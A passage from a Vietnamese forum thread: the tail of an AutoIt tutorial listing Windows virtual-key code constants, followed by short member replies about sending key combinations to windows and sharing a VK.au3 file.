    Global Const $VK_F14 = 0x7D
    Global Const $VK_F15 = 0x7E
    Global Const $VK_F16 = 0x7F
    Global Const $VK_F17 = 0x80
    Global Const $VK_F18 = 0x81
    Global Const $VK_F19 = 0x82
    Global Const $VK_F20 = 0x83
    Global Const $VK_F21 = 0x84
    Global Const $VK_F22 = 0x85
    Global Const $VK_F23 = 0x86
    Global Const $VK_F24 = 0x87

    #cs
    * = 0x88 - = 0x8F : unassigned
    #ce


    Global Const $VK_NUMLOCK = 0x90
    Global Const $VK_SCROLL = 0x91

    #cs
    * NEC PC-9800 kbd definitions
    #ce


    Global Const $VK_OEM_NEC_EQUAL = 0x92 ; '=' key on numpad

    #cs
    * Fujitsu/OASYS kbd definitions
    #ce

    Global Const $VK_OEM_FJ_JISHO = 0x92 ; 'Dictionary' key
    Global Const $VK_OEM_FJ_MASSHOU = 0x93 ; 'Unregister word' key
    Global Const $VK_OEM_FJ_TOUROKU = 0x94 ; 'Register word' key
    Global Const $VK_OEM_FJ_LOYA = 0x95 ; 'Left OYAYUBI' key
    Global Const $VK_OEM_FJ_ROYA = 0x96 ; 'Right OYAYUBI' key

    #cs
    * = 0x97 - = 0x9F : unassigned
    #ce


    #cs
    * $VK_L* & $VK_R* - left and right Alt, Ctrl and Shift virtual keys.
    * Used only as parameters to GetAsyncKeyState() and GetKeyState().
    * No other API or message will distinguish left and right keys in this way.
    #ce


    Global Const $VK_LSHIFT = 0xA0
    Global Const $VK_RSHIFT = 0xA1
    Global Const $VK_LCONTROL = 0xA2
    Global Const $VK_RCONTROL = 0xA3
    Global Const $VK_LMENU = 0xA4
    Global Const $VK_RMENU = 0xA5

    Global Const $VK_BROWSER_BACK = 0xA6
    Global Const $VK_BROWSER_FORWARD = 0xA7
    Global Const $VK_BROWSER_REFRESH = 0xA8
    Global Const $VK_BROWSER_STOP = 0xA9
    Global Const $VK_BROWSER_SEARCH = 0xAA
    Global Const $VK_BROWSER_FAVORITES = 0xAB
    Global Const $VK_BROWSER_HOME = 0xAC

    Global Const $VK_VOLUME_MUTE = 0xAD
    Global Const $VK_VOLUME_DOWN = 0xAE
    Global Const $VK_VOLUME_UP = 0xAF
    Global Const $VK_MEDIA_NEXT_TRACK = 0xB0
    Global Const $VK_MEDIA_PREV_TRACK = 0xB1
    Global Const $VK_MEDIA_STOP = 0xB2
    Global Const $VK_MEDIA_PLAY_PAUSE = 0xB3
    Global Const $VK_LAUNCH_MAIL = 0xB4
    Global Const $VK_LAUNCH_MEDIA_SELECT = 0xB5
    Global Const $VK_LAUNCH_APP1 = 0xB6
    Global Const $VK_LAUNCH_APP2 = 0xB7

    #cs
    * = 0xB8 - = 0xB9 : reserved
    #ce


    Global Const $VK_OEM_1 = 0xBA ; ';:' for US
    Global Const $VK_OEM_PLUS = 0xBB ; '+' any country
    Global Const $VK_OEM_COMMA = 0xBC ; ',' any country
    Global Const $VK_OEM_MINUS = 0xBD ; '-' any country
    Global Const $VK_OEM_PERIOD = 0xBE ; '.' any country
    Global Const $VK_OEM_2 = 0xBF ; '/?' for US
    Global Const $VK_OEM_3 = 0xC0 ; '`~' for US

    #cs
    * = 0xC1 - = 0xD7 : reserved
    #ce


    #cs
    * = 0xD8 - = 0xDA : unassigned
    #ce


    Global Const $VK_OEM_4 = 0xDB ; '[{' for US
    Global Const $VK_OEM_5 = 0xDC ; '\|' for US
    Global Const $VK_OEM_6 = 0xDD ; ']}' for US
    Global Const $VK_OEM_7 = 0xDE ; ''"' for US
    Global Const $VK_OEM_8 = 0xDF

    #cs
    * = 0xE0 : reserved
    #ce


    #cs
    * Various extended or enhanced keyboards
    #ce


    Global Const $VK_OEM_AX = 0xE1 ; 'AX' key on Japanese AX kbd
    Global Const $VK_OEM_102 = 0xE2 ; "<>" or "\|" on RT 102-key kbd.
    Global Const $VK_ICO_HELP = 0xE3 ; Help key on ICO
    Global Const $VK_ICO_00 = 0xE4 ; 00 key on ICO
    Global Const $VK_PROCESSKEY = 0xE5
    Global Const $VK_ICO_CLEAR = 0xE6
    Global Const $VK_PACKET = 0xE7

    #cs
    * = 0xE8 : unassigned
    #ce


    #cs
    * Nokia/Ericsson definitions
    #ce


    Global Const $VK_OEM_RESET = 0xE9
    Global Const $VK_OEM_JUMP = 0xEA
    Global Const $VK_OEM_PA1 = 0xEB
    Global Const $VK_OEM_PA2 = 0xEC
    Global Const $VK_OEM_PA3 = 0xED
    Global Const $VK_OEM_WSCTRL = 0xEE
    Global Const $VK_OEM_CUSEL = 0xEF
    Global Const $VK_OEM_ATTN = 0xF0
    Global Const $VK_OEM_FINISH = 0xF1
    Global Const $VK_OEM_COPY = 0xF2
    Global Const $VK_OEM_AUTO = 0xF3
    Global Const $VK_OEM_ENLW = 0xF4
    Global Const $VK_OEM_BACKTAB = 0xF5
    Global Const $VK_ATTN = 0xF6
    Global Const $VK_CRSEL = 0xF7
    Global Const $VK_EXSEL = 0xF8
    Global Const $VK_EREOF = 0xF9
    Global Const $VK_PLAY = 0xFA
    Global Const $VK_ZOOM = 0xFB
    Global Const $VK_NONAME = 0xFC
    Global Const $VK_PA1 = 0xFD
    Global Const $VK_OEM_CLEAR = 0xFE

    #cs
    * = 0xFF : reserved
    #ce


    #cs
        WM_KEYDOWN = 0x100
        WM_KEYUP = 0x101
        WM_CHAR = 0x102
        WM_DEADCHAR = 0x103
        WM_SYSKEYDOWN = 0x104
        WM_SYSKEYUP = 0x105
        WM_SYSCHAR = 0x106
        WM_SYSDEADCHAR = 0x107
        WM_KEYLAST = 0x108
    Vậy là kết thúc phần này :D , ở các bài sau về UDF mình sẽ release UDF dùng để khóa cả chuột lẫn bàn phím , Phần sau sẽ đề cập về các hàm thao tác với process và Multithread trong Autoit :D
    Nguồn : kenhtrithuc.net
     
    Chỉnh sửa cuối: 11/9/15
    Phan Dong and Tungtata like this.
  2. Jkey C Phong

    Jkey C Phong Thành viên hiểu biết
    • 83/90

    Tham gia ngày:
    7/9/15
    Bài viết:
    96
    Đã được thích:
    2,461
    Nơi ở:
    Thành phố Hồ Chí Minh
    Phần đầu bị lặp lại, sửa bài đi bác!
     
    Phan Dong thích bài này.
  3. Phú Chuối

    Phú Chuối Thành viên mới
    • 3/6

    Tham gia ngày:
    6/9/15
    Bài viết:
    6
    Đã được thích:
    13
    Ok..thanks bác
     
    Phan Dong thích bài này.
  4. cuongbn9x

    cuongbn9x Thành viên mới
    • 1/6

    Tham gia ngày:
    21/2/17
    Bài viết:
    1
    Đã được thích:
    1
    Mình đang muốn send keystrokes ( tổ hợp phím kiểu Ctrl+o, Ctrl+s...) vào inactive window dùng _WinAPI_PostMessage thì làm thế nào thế bác?
     
    kamsamita1 thích bài này.
  5. luong.anhviet

    luong.anhviet Thành viên mới
    • 1/6

    Tham gia ngày:
    4/10/17
    Bài viết:
    1
    Đã được thích:
    0
    sao em k tìm được ID trong control ID nhỉ :((
     
  6. SmileOfDevil

    SmileOfDevil Thành viên mới
    • 1/6

    Tham gia ngày:
    10/8/17
    Bài viết:
    1
    Đã được thích:
    0
    em chỉ biết Send(^o) hoặc Send(^s) là gửi lệnh Ctrl+O và Ctrl+S thôi :D thay o,s,.. là bác có tổ hợp phím rồi :D
     
  7. zluuminhz

    zluuminhz Thành viên mới
    • 1/6

    Tham gia ngày:
    2/6/19
    Bài viết:
    2
    Đã được thích:
    2
    File VK.au3 cho bác nào cần nhé, có nó mới xài đc mấy Func trong ví dụ.
     

    Các file đính kèm:

    • VK.au3
      Kích thước:
      7.6 KB
      Đọc:
      23
    maiduyduc and Tungtata like this.

Chia sẻ trang này

Đang tải...